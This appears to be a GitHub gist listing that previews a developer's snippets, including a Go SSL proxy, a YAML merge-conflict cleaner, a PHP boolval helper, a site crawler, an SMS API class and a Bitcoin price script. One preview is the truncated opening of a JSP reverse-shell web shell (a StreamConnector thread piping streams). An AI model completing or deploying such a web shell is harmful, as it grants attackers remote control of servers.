Skip to content

Instantly share code, notes, and snippets.

View riza's full-sized avatar
⚒️
dirty stuff

Rıza Sabuncu riza

⚒️
dirty stuff
View GitHub Profile
@riza
riza / proxy.go
Created September 14, 2022 19:41
simple ssl proxy with goproxy
package main
/*
#!/usr/bin/env bash
case `uname -s` in
Linux*) sslConfig=/etc/ssl/openssl.cnf;;
Darwin*) sslConfig=/System/Library/OpenSSL/openssl.cnf;;
esac
openssl req \
-newkey rsa:2048 \
@riza
riza / meryaml.py
Last active December 16, 2020 13:41
Merge edilemeyen çüküşük yaml dosyalarınızdaki headleri çıkarır.
#!/usr/bin/env python
import sys,yaml
def Diff(first, second):
second = set(second)
return [item for item in first if item not in second]
CONFLICT_SPACER = "======="
FILE_PATH = sys.argv[1]
CONFLICT_FILE_CONTENT = open(FILE_PATH, "r").read()
@riza
riza / real_boolval.php
Created September 2, 2020 09:30
The REAL Boolval
<?php
/*
*
*
*
*/
function _boolval($val) {
return $val === "true" ? true : ($val === true ? true : ($val === "false" ? false : ($val === false ? false : (is_numeric($val) ? (intval($val) >= 1 ? true : false) : (!empty($val) ? true : false)))));
<?php
namespace App\Enum;
abstract class LanguageEnum
{
const LANG_ab = 'ab';
const LANG_aa = 'aa';
const LANG_af = 'af';
const LANG_af_NA = 'af_NA';
[
{
"id": "894",
"text": "Abkhaz (ab)"
},
{
"id": "891",
"text": "Afar (aa)"
},
{
func execute(subject string, msg []byte, reply string) {
logic := map[string]func(){
"GETBALANCE": func() { getBalance(msg, reply) },
"GETUSER": func() { getUser(msg, reply) },
"GETWALLET": func() { getWallet(msg, reply) },
}
fn, ok := logic[subject]
@riza
riza / hiphoplife-crawler.py
Created August 1, 2018 15:07
https://hiphoplife.com.tr üzerindeki tüm albümleri/singleları çekmek için bişi. Kahrolsun arşivci kişiliğim. 🤔
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# TODO: Mega downloader
import json
import requests
from bs4 import BeautifulSoup
import re
import codecs
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream al;
OutputStream nk;
@riza
riza / IletisimMakinasiSMS.php
Last active January 31, 2018 19:28
IletisimMakinasi icin SMS Sınıfı
<?php
class SMS {
private $api = "https://live.iletisimmakinesi.com/api/";
private $userName = "";
private $userPass = "";
private $customerCode = "";
private $apiKey = "";
private $vendorCode = "";
@riza
riza / paribu.sh
Created December 22, 2017 17:13
Shows the current bitcoin price for Bitcoins from Paribu.com
#!/bin/bash
# <bitbar.title>Paribu BitBar Plugin</bitbar.title>
# <bitbar.version>v1.0</bitbar.version>
# <bitbar.author>rizasabuncu</bitbar.author>
# <bitbar.author.github>riza</bitbar.author.github>
# <bitbar.desc>Shows the current bitcoin price for Bitcoins from Paribu.com</bitbar.desc>
# <bitbar.image>https://rizasabuncu.com/paribu.png</bitbar.image>
# <bitbar.dependencies>none</bitbar.dependencies>